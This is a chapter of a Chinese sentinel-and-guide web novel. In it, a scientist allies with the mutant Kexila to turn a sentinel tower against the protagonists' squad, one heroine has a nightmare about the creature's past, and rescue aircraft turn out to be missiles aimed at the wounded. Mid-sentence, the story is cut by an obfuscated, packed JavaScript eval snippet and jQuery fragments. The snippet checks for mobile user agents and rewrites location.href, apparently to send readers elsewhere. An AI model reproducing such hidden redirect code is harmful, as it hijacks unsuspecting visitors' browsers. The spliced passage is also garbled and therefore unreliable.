46. 想要吃掉她

    小队清理完植物园内的变异体,把实验楼里被重创的哨向们制服后,拦截下一批企图偷偷逃跑的研究员。


    就在他们准备去搜寻观栩等人的下落时,克希拉却去而复返。


    尽管只剩半副残躯,它还是迎着子弹冲上来,从中拽出来一个研究员,无意过多纠缠,扫开人群飞快地跳下楼逃跑了。


    他们发现它挡子弹的速度变慢,防御也薄弱很多,之前很难打穿,如今也能造成伤害了,淅淅沥沥的血迹昭示着它离去的方向,很快被落雪掩盖。


    周辞被触手缠住拎起,离它极近,他痴迷地凑上去:“你冒险来救我。”


    克希拉的喉咙里却发出含糊不清的音节,太久不开口,换了好几个音才找准,竟是人类的语言。


    “要吃,那两个,哨向……”


    之前在沙漠,它被一支队伍袭击,每一个人的战斗经验都极其丰富,实力强悍。


    领队的精神力凌驾于自己之上,在它的精神世界上开了道无法愈合的巨大裂隙,刚才战斗的时候,那个向导从这里突破,把一半世界撕得粉碎,简直该死!


    他的精神力如此强大,一定可以修复好它的伤势。


    它已经迫不及待想要吃掉他们了!


    贯穿二人腹部的那根触手兴奋地颤抖起来,似乎还在回味鲜血的气息。


    “你需要的结晶体都在那个向导手里,把他杀了,我们就能拿到了,”周辞温柔地抚摸它的脸庞,“克希拉,我会把一切都献给你。”


    克希拉会吞噬其他变异体,选择性地产下带有该变异体特征的卵,等到子代孵化成长后,再夺取其体内的特殊结晶体。


    由此,后代也把自相残杀刻入基因。


    它用这个方法延续着自己不老的姿态,多么高等的生存方式,这才是应对极端环境的最佳选择!


    克希拉不懂情感,却懂利益,本能告诉它小以甜头能让这只人类死心塌地。


    它的嘴唇贴着他的脸颊。


    眼底冰凉。


    *


    eB20区的01号哨塔中,轮值的哨向们还在睡梦中,便被传来的警报声惊醒。


    他们匆匆赶到作战室,发现附近几个哨桩都传来了强烈的信号,显示有高精神力的变异体正在快速靠近。


    周边的哨桩经过改造,会先把信息传到哨塔而不是e区,他们可以自行选择是否发送。


    队长立刻命人调出监控视频,雪地反射着清冷的光,那是一只触手状的变异体,他把镜头拉进,却看到上面还有个人。


    是周辞。


    对方不停地打着“安全”、“无危险”、“请求援助”的手势。


    “队长,马上就要进入攻击范围了。”看着已经开始疯狂尖叫的报警器,队员提醒道。


    “向范围边界扫射,让他们停下,”队长神情肃然,“我们带人过去!”


    “是!”


    周辞停在边界外,所有哨向都站在他对面的远处,用武器对准他和克希拉。


    队长站在人群的最前方:“周博士,我能问问为什么实验体没有待在饲养区,而是出现在这里吗。”


    周辞:“我们遭到观栩小队的袭击,植物园全军覆没,我需要你们协助反攻,不能让他们获取我们的实验数据。”


    队长:“我们只会在不暴露自己的情况下协助你们进行实验,不可能明目张胆地对他们出手,观栩和决议庭的关系太深,对他动手绝对不是明智的选择。”


    周辞:“只要把所有人都灭口就不会有问题!我们已经先招惹了他,以他的性格,进入决议庭后不查个底朝天可能会放过我们吗?决议官备选我们有的是,他死了才好!”


    队长:“如果我们无视你们,在决议庭追责的时候还能以‘不知情’和‘失职’掩盖过去,一旦出手就再也不可能撇清干系。”


    周辞:“植物园已经被他们发现了,你以为独善其身他们就不会怀疑哨塔吗?虽然观栩到底是支持宗檀云还是我们的人暂时不明确,但他有极大概率站在章令月那边!那个女人可是中立派,谁知道她会不会倒戈!”


    队长想起了自己和观栩接触的经历,现在就已经是那个性子,等成了决议官,权柄在握,只会要他们更加生不如死。


    见对方神色动摇,周辞继续道:“那位一直重点关注的实验体已经被他们弄成这个样子,实验功亏一篑,你也无法免责,倒不如帮那位解决掉观栩这个麻烦,还能将功折罪。


    实验资料被毁也总比泄漏强,如果让他们把研究结果带回去,很多人都得完蛋!”


    组长不禁问:“他们怎么会知道这里有个实验室?”


    周辞同样不可理解:“我不清楚,植物园已经能不靠e区的补给自然运转,近些年交流越来越少,按理来说应该更隐蔽才是。”


    组长:“难道……是内鬼?”


    周辞脸色阴沉,涉及这件事的人太多,谁也不知道是哪个环节出了问题,他们的这些事情本就是在暗处做的,反而不能明着去查。


    组长做出决定:“我们会派人,但不会与你们一起行动,实验体就是实验体,我们信不过。”


    要是克希拉被拴住脖子,他们还能接受,可如今周辞有什么手段能保证它不会反咬他们一口。


    毕竟它的精神力和杀伤力,他们都是见过的。


    周辞毫不在意他们的防备:“随你。”


    ————


    奚见清等人的伤势太重,好在6队的队员们都有急救基础,从实验室里翻出一些可用的药物仪器,为他们处理伤口。


    针线勾起血肉,一丝一缕,把时间也无形拉长。


    无尽的梦魇将她困在精神图景中,自己似乎成了只会杀戮的人形兵器,手握唐刀,不断地斩杀,斩杀,斩杀,每一个动作都无可挑剔。


    眼前的变异体们攻击力不高,只是数量极多,不知死活地撞上来喂她的刀口,似乎永远也没有尽头。


    她的队友都已死去,包括被她护在身后的普通人。


    当那只变异体的节肢贯穿她的腹部后,一切画下休止符。


    它的上半身是螳螂,下半身却通体透明,四个带尖勾的爪子抓住地面,腹部鼓胀像盛满了蜜,包裹着近似于人类的内脏器官,一节节蠕动时,内脏也随之摇晃。


    前肢一划,她的血肉被强行撕开,天旋地转里贴近了变异体的腹部。


    那里裂开一张遍布尖齿的嘴。


    奚见清却感觉不到丝毫的痛苦,这一刻,她似乎被剥离了出来,意识到自己正在经历他人的人生。


    那个被吞噬掉的女人背后出现一个深绿色的巨大阴影,像山一样的克苏鲁精神体不甘地咆哮着,抄起变异体和她的残躯,塞进了自己的口中。


    然后,它拖着迟缓的步伐,踩着周围的变异体缓缓离开。


    再次相见,曾经为人类而战的战士已经彻底站在了对立面,指挥着变异体向城市发起进攻。


    它的下半身是绿褐色的半透明触手,上半身只能隐约看出人形,灰绿色的褶皱覆盖过每一寸皮肤,螳臂削铁如泥,划出生与死的鸿沟。


    人类制造出来的第一个以结晶体为能源的炮火命中了它,接着是第二个,第三个……


    武力终结统治。


    奄奄一息的它被带回实验室,身体不断被切开又缝合,像填鸭一样被迫接受喂食,漫长的岁月里只能透过玻璃幕墙看到外面忙碌的研究员。


    直到某一天,在模糊的五官下,它睁开了自己的第一只眼睛。


    怨憎不尽。


    奚见清站在玻璃的另一边,却意外与它对上了视线。


    霎时寒意涌上心头,原本能清晰感受到她们不是同一个体,此刻却逐渐模糊,她似乎进到了玻璃后,向外看着自己。


    一股熟悉的精神力从她身上散开,强行归拢理智。


    洁白的羽翼环抱住她,低声呢喃。


    “清清,回来。”


    眼睑微动,奚见清勉强睁开眼,头痛欲裂。


    顶上的灯晃出无数点白光,心脏跳动带来的拉扯感仿佛把她的灵魂紧紧锁在身躯里,痛且真实。


    她偏过头看了眼周围,白羽绶带鸟正停在枕边,令她悬着的心立刻安定下来。


    这个房间里只有她和霍从音,一个女性队员见她醒来,立刻问:“感觉还好吗,想不想吃点什么?”


    她轻轻点头。


    好不容易捡回来的命,必须珍惜。


    这栋实验楼设施完备,队员很快为她盛来一碗粥,道:“我们已经派人去eB20区的哨塔,这段时间你们好好养伤,等他们回来接我们。”


    他们并不打算告知哨塔这里具体情况,只是想借战机飞回e区,队员们抓紧时间整理这里的科研数据,预备转移。


    她是6队的副队,在指挥官和队长的情况都不容乐观的眼下,要担起责任。


    哨兵的恢复力惊人,在观栩和霍从音还不能长时间保持清醒的情况下,奚见清已经能勉强下地走动。


    她坐在病床前看着观栩,绶带鸟精神体还在自己肩上,可他却只醒过一次。


    罗渊推门进来:“下午飞机会到,准备返航。”


    奚见清慢吞吞起身为二人收拾背包,动作不能太大,容易牵动伤口。


    他盯着她看了许久,才开口:“我有个问题想问你,你和‘死神’是什么关系。”


    白渡城的那一战他也在,只不过在北区,哨向的战斗力量有限,南区居民不多,在尽可能保护下最多民众的前提下,他们着重安排撤离而不是正面迎


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191757|174763||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    战。


    战斗中的罗渊一直在担心变异体突破南区防线会让他们腹背受敌,可直到兽潮退却,他们也没受到来自背后的袭击。


    死神以一己之力守住城区,为变异体带去死亡。


    当时指挥作战的决议官在战后召开过一个大型的集体会议,要求不再传播与死神身份有关的任何信息。


    罗渊没见过对方,自然也没什么可说的。


    但见过奚见清扛着诛夜作战时的样子,他很难不把二者联系到一起。


    白塔制作的镰刀不止一把,武器常有,武力爆表不常有。


    奚见清动作一顿,缓缓摇头。


    “不认识。”


    罗渊抬眼,他知道无论她认不认识那位,自己都只能得到这一个回答,问出来只是让自己心里有个底,也不过多纠结。


    “行,随……”


    这时二人不约而同听到了什么动静,几乎出于本能放出精神体。


    奚见清抱起观栩向窗外撞了出去,就在她跳下楼的后一秒,两枚导弹命中实验楼,发生剧烈的爆炸。


    她在精神体的缓冲下侧身摔进雪里,立刻爬起来背着他继续跑。


    一条竹叶青衔着背包,一条竹叶青举着诛夜,跟她疯狂逃窜。


    紧接着下一枚导弹落在她的身后,她奋力一跳,爆炸的气浪险险擦着衣角而过,连回头都无暇。


    小队成员一早在植物园的空地上做好地标以备战机降落,可没想到它还没飞到眼前就先一步发起了攻击,直指实验楼。


    “怎么回事?!怎么会这样——!”


    就在他们以为这栋楼保不住的时候,两个人影从楼上跳了下来,飞机调转目标追着他们而去。


    队员们赶紧抓住机会,冲进楼里救援伤患,可紧接着是第二架第三架,它们从远处而来对着楼体进行无差别扫射。


    第一时间冲到霍从音病房,带人跳窗的罗渊前脚刚落地,后脚就发现还有飞机飞来,立刻吼道。


    “都别进去,先退——!”


    他抱着霍从音冲进植物深处,尽可能远离现场,这番动静让她皱着眉苏醒过来,哑声道:“怎么回事……”


    罗渊嗓音发冷:“本该来救援的飞机不知道为什么突然对我们发动了进攻!”


    第一波攻击没有太多杀伤力,但足以让他们逃出来暴露行踪,以此为饵诱导队员们进楼,进行二次爆破。


    可恶!


    霍从音的呼吸一紧,语速顿时急促:“其他人,怎么样了?”


    “不知道,”他愤怒道,“等把你送到安全的地方我再回去!”


    那些都是和他们出生入死的战友!


    背后动静惊天,她强行让自己冷静下来,问:“敌方来了多少?”


    “起码3……”罗渊一顿,等等,根本不需要这么多架,“你的意思是,他们不是来救援的?”


    霍从音寒声道:“恐怕是的。”


    而且极有可能是周辞的手笔,否则谁会知道他们在这里,还进行如此精准打击。


    罗渊:“但我们预估救援的时间也差不多在这个时候。”


    霍从音:“那他们来的地方很可能离这里不远,eB19,或者eB20的哨塔。”


    难怪他们能在这里进行秘密实验还不被发现,有人为其兜底,有恃无恐。


    另一头的奚见清被从天而降的炮火锁定,一路追杀,她能躲过多数伤害,却像迷宫里遭到围剿的小鼠,被推着堵着往前跑,直到走进死路。


    但渐渐的,她感到后腰上黏腻又温热。


    是观栩的伤口裂开了。


    “阿栩……”奚见清的情绪起伏空前强烈,从来没有那一刻像现在这样想要大开杀戒。


    如果她的向导出事,她要他们全都下地狱!


    他的呼吸声落在耳畔,轻得几乎没有回响:“放下我……清清……”


    他能感受到她已经筋疲力尽,躲避的动作不再利落,每次摔倒在地都尽可能护着自己,可她的伤口同样没有愈合。


    最强哨兵也不是铁打的,再带着他,谁也活不了。


    “不要!”奚见清眼泪汹涌。


    不许说这种话,不许你说!


    观栩:“我想你活着……”


    曾经他对余鸣钊说过那些话,想着无论如何也会和她一起走下去,但当能隐约看到自己的尽途,他却只想要她向前走,别回头。


    “你说过,死生不弃……”奚见清艰难地从地上爬起来,泪水顺着脸颊冲淡污迹,“你说过的……”


    我们是哨向,本该如此。


    观栩想要抹去泪痕,却只是轻轻擦过她的脸颊,手便垂落下去,绶带鸟精神体逐渐消散。


    我很想信守不渝。


    很想很想。